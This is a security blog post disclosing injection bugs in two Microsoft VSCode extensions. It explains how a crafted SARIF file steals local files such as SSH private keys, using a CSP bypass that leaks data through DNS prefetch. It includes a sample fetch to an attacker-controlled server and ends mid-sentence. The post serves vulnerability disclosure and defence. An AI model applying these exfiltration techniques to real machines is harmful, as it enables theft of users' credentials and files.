https://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability/
The Trail of Bits Blog
Blog
Trail of Bits Logo
Escaping misconfigured VSCode extensions
Vasco Franco
February 21, 2023
exploits, vulnerability-disclosure
TL;DR: This two-part blog series will cover how I found and disclosed
three vulnerabilities in VSCode extensions and one vulnerability in
VSCode itself (a security mitigation bypass assigned CVE-2022-41042
and awarded a $7,500 bounty). We will identify the underlying cause
of each vulnerability and create fully working exploits to
demonstrate how an attacker could have compromised your machine. We
will also recommend ways to prevent similar issues from occurring in
the future.
A few months ago, I decided to assess the security of some VSCode
extensions that we frequently use during audits. In particular, I
looked at two Microsoft extensions: SARIF viewer, which helps
visualize static analysis results, and Live Preview, which renders
HTML files directly in VSCode.
Why should you care about the security of VSCode extensions? As we
will demonstrate, vulnerabilities in VSCode extensions--especially
those that parse potentially untrusted input--can lead to the
compromise of your local machine. In both the extensions I reviewed,
I found a high-severity bug that would allow an attacker to steal all
of your local files. With one of these bugs, an attacker could even
steal your SSH keys if you visited a malicious website while the
extension is running in the background.
During this research, I learned about VSCode Webviews--sandboxed UI
panels that run in a separate context from the main extension,
analogous to an iframe in a normal website--and researched avenues to
escape them. In this post, we'll dive into what VSCode Webviews are
and analyze three vulnerabilities in VSCode extensions, two of which
led to arbitrary local file exfiltration. We will also look at some
interesting exploitation tricks: leaking files using DNS to bypass
restrictive Content-Security-Policy (CSP) policies, using srcdoc
iframes to execute JavaScript, and using DNS rebinding to elevate the
impact of our exploits.
In an upcoming blog post, we'll examine a bug in VSCode itself that
allows us to escape a Webview's sandbox even in a well-configured
extension.
VSCode Webviews
Before diving into the bugs, it's important to understand how a
VSCode extension is structured. VSCode is an Electron application
with privileges to access the filesystem and execute arbitrary shell
commands; extensions have all the same privileges. This means that if
an attacker can execute JavaScript (e.g., through an XSS
vulnerability) in a VSCode extension, they can achieve a full
compromise of the system.
As a defense-in-depth protection against XSS vulnerabilities,
extensions have to create UI panels inside sandboxed Webviews. These
Webviews don't have access to the NodeJS APIs, which allow the main
extension to read files and run shell commands. Webviews can be
further limited with several options:
* enableScripts: prevents the Webview from executing JavaScript if
set to false. Most extensions require enableScripts: true.
* localResourceRoots: prevents Webviews from accessing files
outside of the directories specified in localResourceRoots. The
default is the current workspace directory and the extension's
folder.
* Content-Security-Policy: mitigates the impact of XSS
vulnerabilities by limiting the sources from which the Webview
can load content (images, CSS, scripts, etc.). The policy is
added through a meta tag of the Webview's HTML source, such as:
Sometimes, these Webview panels need to communicate with the main
extension to pass some data or ask for a privileged operation that
they cannot perform on their own. This communication is achieved by
using the postMessage() API.
Below is a simple, commented example of how to create a Webview and
how to pass messages between the main extension and the Webview.
[b2bdbfb41f]
Example of a simple extension that creates a Webview
An XSS vulnerability inside the Webview should not lead to a
compromise if the following conditions are true: localResourceRoots
is correctly set up, the CSP correctly limits the sources from which
content can be loaded, and no postMessage handler is vulnerable to
problems such as command injection. Still, you should not allow
arbitrary execution of untrusted JavaScript inside a Webview; these
security features are in place as a defense-in-depth protection. This
is analogous to how a browser does not allow a renderer process to
execute arbitrary code, even though it is sandboxed.
You can read more about Webviews and their security model in VSCode's
documentation for Webviews.
Now that we understand Webviews a little better, let's take a look at
three vulnerabilities that I found during my research and how I was
able to escape Webviews and exfiltrate local files in two VSCode
extensions built by Microsoft.
Vulnerability 1: HTML/JavaScript injection in Microsoft's SARIF
viewer
Microsoft's SARIF viewer is a VSCode extension that parses SARIF
files--a JSON-based file format into which most static analysis tools
output their results--and displays them in a browsable list.
Since I use the SARIF viewer extension in all of our audits to triage
static analysis results, I wanted to know how well it was protected
against loading untrusted SARIF files. These untrusted files can be
downloaded from an untrusted source or, more likely, result from
running a static analysis tool--such as CodeQL or Semgrep--with a
malicious rule containing metadata that can manipulate the resulting
SARIF file (e.g., the finding's description).
While examining the code where the SARIF data is rendered, I came
across a suspicious-looking snippet in which the description of a
static analysis result is rendered using the ReactMarkdown class with
the escapeHtml option set to false.
[289cbe2d36]
Code that unsafely renders the description of a finding parsed from a
SARIF file (source)
Since HTML is not escaped, by controlling the markdown field of a
result's message, we can inject arbitrary HTML and JavaScript in the
Webview. I quickly threw up a proof of concept (PoC) that
automatically executed JavaScript using the onerror handler of an img
with an invalid source.
[877eccbe4f]
Portion of a SARIF file that triggers JavaScript execution in the
SARIF Viewer extension
It worked! The picture below shows the exploit in action.
[09a31261c1]
PoC exploit in action. On the right, we see the JavaScript injected
in the DOM. On the left, we see where it is rendered.
This was the easy part. Now, we need to weaponize this bug by
fetching sensitive local files and exfiltrating them to our server.
Fetching local files
Our HTML injection is inside a Webview, which, as we saw, is limited
to reading files inside its localResourceRoots. The Webview is
created with the following code:
[f66ebf3ccc]
Code that creates the Webview in the SARIF viewer extension with an
unsafe localResourceRoots option (source)
As we can see, localResourceRoots is configured very poorly. It
allows the Webview to read files from anywhere on the disk, up to the
z: drive! This means that we can just read any file we want--for
example, a user's private key at ~/.ssh/id_rsa.
Inside the Webview, we cannot open and read a file since we don't
have access to NodeJS APIs. Instead, we make a fetch to https://
file+.vscode-resource.vscode-cdn.net/, and the file contents are sent
in the response (if the file exists and is within the
localResourceRoots path).
To leak /etc/issue, all we need is to make the following fetch:
[eefbf5f7dd]
Example of code that reads the /etc/issue file inside a Webview
Exfiltrating files
Now, we just need to send the file contents to our remote server.
Normally, this would be easy; we would make a fetch to a server we
control with the file's contents in the POST body or in a GET
parameter (e.g., fetch('https://our.server.com?q=
')).
However, the Webview has a fairly restrictive CSP. In particular, the
connect-src directive restricts fetches to self and https://
*.vscode-cdn.net. Since we don't control either source, we cannot
make fetches to our attacker-controlled server.
[d1b21e01f5]
CSP of the SARIF viewer extension's Webview (source)
We can circumvent this limitation with, you guessed it, DNS! By
injecting tags with the rel="dns-prefetch" attribute, we can
leak file contents in subdomains even with the restrictive CSP
connect-src directive.
[5690ddc201]
Example of HTML code that leaks files using DNS to circumvent a
restrictive CSP
To leak the file, all we need is to encode the file in hex and inject
tags in the DOM, where the href points to our
attacker-controlled server with the encoded file contents in the
subdomains. We just need to ensure that each subdomain has at most 64
characters (including the .s) and that the whole subdomain has less
than 256 characters.
Putting it all together
By combining these techniques, we can build an exploit that
exfiltrates the user's $HOME/.ssh/id_rsa file. Here is the commented
exploit:
[8a42f12b70]
Exploit that steals a user's private key when they open a compromised
SARIF file in the SARIF viewer extension
This was all possible because the extension used the ReactMarkdown
component with the escapeHtml = {false} option, allowing an attacker
with partial control of a SARIF file to inject JavaScript in the
Webview. Thanks to a very permissive localResourceRoots, the attacker
could take any file from the user's filesystem. Would this
vulnerability still be exploitable with a stricter
localResourceRoots? Wait for the second blog post! ;)
To detect these issues automatically, we improved Semgrep's existing
ReactMarkdown rule in PR #2307. Try it out against React codebases
with semgrep --config "p/react."
Vulnerability 2: HTML/JavaScript injection in Microsoft's Live
Preview extension
Microsoft's Live Preview, a VSCode extension with more than 1 million
installs, allows you to preview HTML files from your current
workspace in an embedded browser directly in VSCode. I wanted to
understand if I could safely preview malicious HTML files using the
extension.
The extension starts by creating a local HTTP server on port 3000,
where it hosts the current workspace directory and all of its files.
Then, to render a file, it creates an iframe that points to the local
HTTP server (e.g.,